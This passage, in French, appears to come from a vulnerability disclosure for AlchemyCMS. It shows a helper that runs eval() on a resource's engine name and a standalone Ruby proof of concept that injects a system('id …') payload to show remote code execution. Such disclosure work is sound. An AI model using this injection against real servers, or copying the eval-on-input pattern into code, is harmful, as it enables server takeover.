def resource_url_proxy(resource_handler)
  if resource_handler.in_engine?
    eval(resource_handler.engine_name) # rubocop:disable Security/Eval
  else
    main_app
  end
end
La présence de la directive # rubocop:disable Security/Eval confirme que les implications de sécurité liées à l'utilisation de eval() ont été reconnues mais contournées lors de l'implémentation.

3. Preuve de concept (PoC)
Vecteur d'attaque
La vulnérabilité est déclenchée dans l'interface administrative d'AlchemyCMS lors du rendu des vues basées sur les ressources (par exemple, Sites ou Languages). Si un attaquant parvient à manipuler la configuration du module ou les données de ressources sous-jacentes, il peut parvenir à une exécution.

Script d'exploitation autonome
Le script suivant démontre l'exécution de code arbitraire en simulant l'environnement de la méthode d'assistance vulnérable :

Ruby

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload : exécute la commande système 'id' et crée un fichier de preuve
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)
Preuve d'exécution
Lors de l'exécution, la commande système est traitée, accordant à l'attaquant un accès à l'environnement du serveur.